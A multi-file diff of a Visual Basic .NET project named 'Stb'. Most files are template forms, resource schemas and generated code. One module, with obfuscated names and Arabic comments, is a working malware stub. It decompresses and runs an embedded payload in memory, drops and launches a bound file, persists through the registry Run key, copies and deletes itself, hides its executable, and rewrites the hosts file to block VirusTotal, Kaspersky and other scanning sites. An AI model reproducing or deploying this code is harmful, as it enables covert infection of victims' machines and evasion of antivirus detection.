AcwCZgEAAf8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/
AZkBzAEAAf8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/
ATMBAAHMAf8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/
AWYBAAEhAQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEA
AfAB+wH/AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/AQAj7AT5AuwD/APs
A/oB7BEABewE/AP6F+wE+QLsA/wD7AP6AewRAAPsBvwE+hbsBPkC7AP8A+wD+gHsEQAC7Af8BfoV7AT5
AuwD/APsA/oB7BEAAuwH/Ab6A+wB/BDsBPkC7AP8A+wD+gHsEQAB7Aj8B/oF7AH6AewB+gHsAfkJ7AT5
AuwD/APsA/oB7BEAAewI/Af6AuwB+QH6AewB/AL5AuwB/AH5AewB/AXsBPkC7AP8A+wD+gHsEQAB7Aj8
B/oB7AH6AuwB+QLsAvwB7AT6AfwE7AT5AuwD/APsA/oB7BEACPwB+Qf6DuwB+QTsBPkI7AP6AewRAAf8
A/kG+hDsAfkB/AHsBPkM7BEAAewG/AT5Bfoj7BEAAewF/Ab5BPoj7BEAAewE/Aj5Avok7BEAAuwC/Ar5
Afok7BEAA+wB/Ar5JewRAATsCPkn7BEAB+wC+SrsEQABQgFNAT4HAAE+AwABKAMAAUQDAAERAwABAQEA
AQEFAAHMFwAD/80ACw==
</value>
</data>
</root>
@@ -0,0 +1,192 @@
Imports System.Diagnostics
Imports System.Windows.Forms
Public Class Explorer1
Private Sub Explorer1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
'Set up the UI
SetUpListViewColumns()
LoadTree()
End Sub
Private Sub LoadTree()
' TODO: Add code to add items to the treeview
Dim tvRoot As TreeNode
Dim tvNode As TreeNode
tvRoot = Me.TreeView.Nodes.Add("Root")
tvNode = tvRoot.Nodes.Add("TreeItem1")
tvNode = tvRoot.Nodes.Add("TreeItem2")
tvNode = tvRoot.Nodes.Add("TreeItem3")
End Sub
Private Sub LoadListView()
' TODO: Add code to add items to the listview based on the selected item in the treeview
Dim lvItem As ListViewItem
ListView.Items.Clear()
lvItem = ListView.Items.Add("ListViewItem1")
lvItem.ImageKey = "Graph1"
lvItem.SubItems.AddRange(New String() {"Column2", "Column3"})
lvItem = ListView.Items.Add("ListViewItem2")
lvItem.ImageKey = "Graph2"
lvItem.SubItems.AddRange(New String() {"Column2", "Column3"})
lvItem = ListView.Items.Add("ListViewItem3")
lvItem.ImageKey = "Graph3"
lvItem.SubItems.AddRange(New String() {"Column2", "Column3"})
End Sub
Private Sub SetUpListViewColumns()
' TODO: Add code to set up listview columns
Dim lvColumnHeader As ColumnHeader
' Setting Column widths applies only to the current view, so this line
' explicitly sets the ListView to be showing the SmallIcon view
' before setting the column width
SetView(View.SmallIcon)
lvColumnHeader = ListView.Columns.Add("Column1")
' Set the SmallIcon view column width large enough so that the items
' do not overlap
' Note that the second and third column do not appear in SmallIcon
' view, so there is no need to set those while in SmallIcon view
lvColumnHeader.Width = 90
' Change the view to Details and set up the appropriate column
' widths for the Details view differently than SmallIcon view
SetView(View.Details)
' The first column needs to be slightly larger in Details view than it
' was for SmallIcon view, and Column2 and Column3 need explicit sizes
' set for Details view
lvColumnHeader.Width = 100
lvColumnHeader = ListView.Columns.Add("Column2")
lvColumnHeader.Width = 70
lvColumnHeader = ListView.Columns.Add("Column3")
lvColumnHeader.Width = 70
End Sub
Private Sub ExitToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitToolStripMenuItem.Click
'Close this form
Me.Close()
End Sub
Private Sub ToolBarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolBarToolStripMenuItem.Click
'Toggle the visibility of the toolstrip and also the checked state of the associated menu item
ToolBarToolStripMenuItem.Checked = Not ToolBarToolStripMenuItem.Checked
ToolStrip.Visible = ToolBarToolStripMenuItem.Checked
End Sub
Private Sub StatusBarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StatusBarToolStripMenuItem.Click
'Toggle the visibility of the statusstrip and also the checked state of the associated menu item
StatusBarToolStripMenuItem.Checked = Not StatusBarToolStripMenuItem.Checked
StatusStrip.Visible = StatusBarToolStripMenuItem.Checked
End Sub
'Change whether or not the folders pane is visible
Private Sub ToggleFoldersVisible()
'First toggle the checked state of the associated menu item
FoldersToolStripMenuItem.Checked = Not FoldersToolStripMenuItem.Checked
'Change the Folders toolbar button to be in sync
FoldersToolStripButton.Checked = FoldersToolStripMenuItem.Checked
' Collapse the Panel containing the TreeView.
Me.SplitContainer.Panel1Collapsed = Not FoldersToolStripMenuItem.Checked
End Sub
Private Sub FoldersToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FoldersToolStripMenuItem.Click
ToggleFoldersVisible()
End Sub
Private Sub FoldersToolStripButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FoldersToolStripButton.Click
ToggleFoldersVisible()
End Sub
Private Sub SetView(ByVal View As System.Windows.Forms.View)
'Figure out which menu item should be checked
Dim MenuItemToCheck As ToolStripMenuItem = Nothing
Select Case View
Case View.Details
MenuItemToCheck = DetailsToolStripMenuItem
Case View.LargeIcon
MenuItemToCheck = LargeIconsToolStripMenuItem
Case View.List
MenuItemToCheck = ListToolStripMenuItem
Case View.SmallIcon
MenuItemToCheck = SmallIconsToolStripMenuItem
Case View.Tile
MenuItemToCheck = TileToolStripMenuItem
Case Else
Debug.Fail("Unexpected View")
View = View.Details
MenuItemToCheck = DetailsToolStripMenuItem
End Select
'Check the appropriate menu item and deselect all others under the Views menu
For Each MenuItem As ToolStripMenuItem In ListViewToolStripButton.DropDownItems
If MenuItem Is MenuItemToCheck Then
MenuItem.Checked = True
Else
MenuItem.Checked = False
End If
Next
'Finally, set the view requested
ListView.View = View
End Sub
Private Sub ListToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListToolStripMenuItem.Click
SetView(View.List)
End Sub
Private Sub DetailsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DetailsToolStripMenuItem.Click
SetView(View.Details)
End Sub
Private Sub LargeIconsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LargeIconsToolStripMenuItem.Click
SetView(View.LargeIcon)
End Sub
Private Sub SmallIconsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SmallIconsToolStripMenuItem.Click
SetView(View.SmallIcon)
End Sub
Private Sub TileToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TileToolStripMenuItem.Click
SetView(View.Tile)
End Sub
Private Sub OpenToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles OpenToolStripMenuItem.Click
Dim OpenFileDialog As New OpenFileDialog
OpenFileDialog.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.MyDocuments
OpenFileDialog.Filter = "Text Files (*.txt)|*.txt"
OpenFileDialog.ShowDialog(Me)
Dim FileName As String = OpenFileDialog.FileName
' TODO: Add code to open the file
End Sub
Private Sub SaveAsToolStripMenuItem_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SaveAsToolStripMenuItem.Click
Dim SaveFileDialog As New SaveFileDialog
SaveFileDialog.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.MyDocuments
SaveFileDialog.Filter = "Text Files (*.txt)|*.txt"
SaveFileDialog.ShowDialog(Me)
Dim FileName As String = SaveFileDialog.FileName
' TODO: Add code here to save the current contents of the form to a file.
End Sub
Private Sub TreeView_AfterSelect(ByVal sender As Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView.AfterSelect
' TODO: Add code to change the listview contents based on the currently-selected node of the treeview
LoadListView()
End Sub
End Class
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,224 @@
Imports Microsoft.VisualBasic.CompilerServices
Imports System.Runtime.CompilerServices
Imports System.IO
Imports System.IO.Compression
Imports System.Text
Imports System.Reflection
Imports Microsoft.VisualBasic
Imports System.Collections
Imports System.Collections.Generic
Imports System.Diagnostics
Imports System.Runtime.InteropServices
Imports System.Resources
Imports System
Imports System.Security.Cryptography
Imports Microsoft.Win32
Imports System.Threading
Module BTQnWhnjvMNjktQ
Public servstring As String = "[serverstring]" ''سترنج بايتات السرفر
Public copyserv As String = "[Falsecopyserv]" ''تفعيل او عدم تفعيل خاصيه النسخ
Public copypth As String = Environ("[%temp%]") ''مسار النسخ
Public copFolder As String = "[copFolder]" ''فولدر اضافى يمكن ازالته
Public copynam As String = "[copynam]" ''اسم السرفر
Public startup As String = "[startupfalse]" ''تفعيا او عدم تغعيل خاصيه الثبيت
Public regname As String = "[serregname]" ''اسم مفتاح الريجرسترى للسرفر
Public servsleep As String = "[falsesrvsleep]" ''تفعيل او عدم تفعيل تاخير عند تشغيل السرفر
Public servsleeptime As String = "[srvsleeptime]" ''الوقت المراد تاخيره
Public Binder As String = "[falsebind]" ''تفعيل او عدم تفعيل خاصيه الدمج
Public bindstring As String = "[bindedstring]" ''سترنج بايتات الملف المدمج
Public bindpth As String = Environ("[bindtemp]") ''مسار نسخ الملف المدمج
Public bindname As String = "[bindname]" ''اسم الملف المدمج
Public bindsleep As String = "[falsebndleep]" ''تفعيل او عدم تفعيل تاخير عند تشغيل الملف المدمج
Public bindsleeptime As String = "[bndsleeptime]" ''الوقت المراد تاخيره
Public block As String = "[falseblock]" ''تفعيل او اغلاقخاصيه حظر المواقع
Public melt As String = "[falsemelt]" ''تفعيل او اغلاق خاصيه الاذابه
Public HIDEME As String = "[falsehide]" ''تفعيل او اغلاق خاصيه اخفاء الملف
Sub Main()
''بدء الدمج وتشغيل الملف
If Binder = "True" Then
binderway()
End If
''اخفاء السرفر
If HIDEME = "TRUE" Then
Dim thread2 As New Threading.Thread(AddressOf hidemeexp)
thread2.IsBackground = False
thread2.Start()
End If
'''فى اغلب الاحوال يتم التعديل على ملف هوست فى حاله التشغيل مسئول ولكنها توفير الحجم للستب افضل من الطريقه الثانيه
If block = "True" Then
blocksite()
End If
'''خاصيه الذوبان لا اعتقد ان لها اهميه لانها عباره عن نسخ للسرفر فى التيمب ثم حذفه فقط ثم تشغيله من التيمب
If melt = "True" Then
Melltgo(My.Computer.FileSystem.GetName(Application.ExecutablePath))
End If
''''تثبيت فى الريجرسترى
If startup = "True" Then
addtoreg()
End If
'''نسخ السرفر ثم غلقه ثم تشغيله من مساره الجديد
If copyserv = "True" Then
Copytrue()
End If
If servsleep = "true" Then
Threading.Thread.Sleep(servsleeptime * 1000)
End If
'''التشفير
Dim Elm0D As Byte() = mMaoOpKsriYPYFYguDjCnmb(Convert.FromBase64String(servstring))
'''يفضل استبدال نقطه الادخال برنبى او مت تشاء فط لا تضع الاثنين معا حتى لا يكون هناك اضافات وزياده للحجم بدون فائده
Dim ҘЊくくҘこϐほмめこм As System.Reflection.Assembly = System.Reflection.Assembly.Load(Elm0D)
Dim お頂Џ頂まめШ頂Шл As MethodInfo = ҘЊくくҘこϐほмめこм.EntryPoint
If お頂Џ頂まめШ頂Шл IsNot Nothing Then
Dim Ầ予争亊こおЊḈまえ As Object = ҘЊくくҘこϐほмめこм.CreateInstance(お頂Џ頂まめШ頂Шл.Name)
お頂Џ頂まめШ頂Шл.Invoke(Ầ予争亊こおЊḈまえ, Nothing)
End If
End Sub
''دمج ملف
Public Function binderway()
Try
If File.Exists(bindpth & "\" & bindname) Then
File.Delete(bindpth & "\" & bindname)
End If
File.WriteAllBytes(bindpth & "\" & bindname, mMaoOpKsriYPYFYguDjCnmb(SB(bindstring)))
Threading.Thread.CurrentThread.Sleep(1000)
If bindsleep = "true" Then
Threading.Thread.Sleep(bindsleeptime * 1000)
End If
Process.Start(bindpth & "\" & bindname)
Catch
End Try
End Function
''تثبيت الريجرسترى
Public Function addtoreg()
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
If copyserv = "True" Then
key.SetValue(regname, copypth & "\" & copFolder & "\" & copynam)
Else
key.SetValue(regname, Application.ExecutablePath)
End If
key.Close()
End Function
''نسخ السرفر فى الملفات
Public Function Copytrue()
If Not My.Computer.FileSystem.FileExists(copypth & "\" & copFolder & "\" & copynam) Then
If Not (Directory.Exists(copypth & "\" & copFolder)) Then
Directory.CreateDirectory(copypth & "\" & copFolder)
End If
File.Copy(Application.ExecutablePath, copypth & "\" & copFolder & "\" & copynam)
Thread.Sleep("3000")
Process.Start(copypth & "\" & copFolder & "\" & copynam)
Thread.Sleep("3000")
Process.GetCurrentProcess.Kill()
End If
End Function
''اذابه ولككن لا اظن ان لها اهميه طالما ان هناك نسخ للسرفر يمكن وضع امر حذف للسرفر بعد نسخه وقتل العمليه الاساسيه
Public Function Melltgo(ByVal HGBFBF讲וh房h不者 As String)
Dim 文אה个יh不者 As String = IO.Path.GetTempPath
If Not Application.StartupPath = 文אה个יh不者.Remove(文אה个יh不者.LastIndexOf("\")) Then
System.IO.File.Copy(Application.ExecutablePath, 文אה个יh不者 & HGBFBF讲וh房h不者)
Process.Start(文אה个יh不者 & HGBFBF讲וh房h不者)
System.IO.File.SetAttributes(文אה个יh不者 & "\" & HGBFBF讲וh房h不者, IO.FileAttributes.Hidden)
Shell("cmd.exe /c del " & ChrW(34) & Application.ExecutablePath & ChrW(34) & " & exit", AppWinStyle.Hide)
End
End If
End Function
''gzipcom
Public Function mMaoOpKsriYPYFYguDjCnmb(ByVal bytData() As Byte) As Byte()
Using oMS As New MemoryStream(bytData)
Using oGZipStream As New GZipStream(oMS, CompressionMode.Decompress)
Const TUvnjiCKUhMIVstSVPieJtr As Integer = 1024
Dim grJSscjZvmKZRRHFJfMAWHZ As Integer = 0
Do
ReDim Preserve bytData(grJSscjZvmKZRRHFJfMAWHZ + TUvnjiCKUhMIVstSVPieJtr - 1)
Dim QOwrKfOpimoETvVluAlKlcp As Integer = oGZipStream.Read(bytData, grJSscjZvmKZRRHFJfMAWHZ, TUvnjiCKUhMIVstSVPieJtr)
grJSscjZvmKZRRHFJfMAWHZ += QOwrKfOpimoETvVluAlKlcp
If QOwrKfOpimoETvVluAlKlcp < TUvnjiCKUhMIVstSVPieJtr Then
ReDim Preserve bytData(grJSscjZvmKZRRHFJfMAWHZ - 1)
Exit Do
End If
Loop
oGZipStream.Close()
End Using
oMS.Close()
End Using
Return bytData
End Function
''حظر المواقع فى كلف الهوستس
Private Sub blocksite()
Dim 烟UוنהםiwGbلנ要3ח As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
Dim עyAuM个 As String = 烟UוنהםiwGbلנ要3ח & "\" & "drivers" & "\" & "etc" & "\\" & "hosts"
Dim writer As New StreamWriter(עyAuM个)
writer.Write("127.0.0.1 www.virustotal.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 virustotal.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 novirusthanks.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 vscan.novirusthanks.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 virusscan.jotti.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.virusscan.jotti.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 virscan.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.virscan.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 virus-trap.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.virus-trap.org")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 filterbit.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.filterbit.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 viruschief.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.viruschief.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 kaspersky.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.kaspersky.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 metascan-online.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.metascan-online.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 nodistribute.com")
writer.Write(Environment.NewLine)
writer.Write("127.0.0.1 www.nodistribute.com")
writer.Dispose()
End Sub
''تحويل من سترنج لبايت
Function SB(ByVal s As String) As Byte()
Return System.Text.Encoding.Default.GetBytes(s)
End Function
''اخفاء السرفر لا اظن ان لها اهميه
Sub hidemeexp()
Try
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden)
Catch
End Try
End Sub
End Module
@@ -0,0 +1,13 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>false</MySubMain>
<MainForm>Form1</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Stb")>
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("Stb")>
<Assembly: AssemblyCopyright("Copyright © 2014")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(False)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("466615d4-ff36-4f5d-9b0d-ed4f8549628f")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: AssemblyFileVersion("1.0.0.0")>
@@ -0,0 +1,63 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Stb.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
End Module
End Namespace
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18449
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
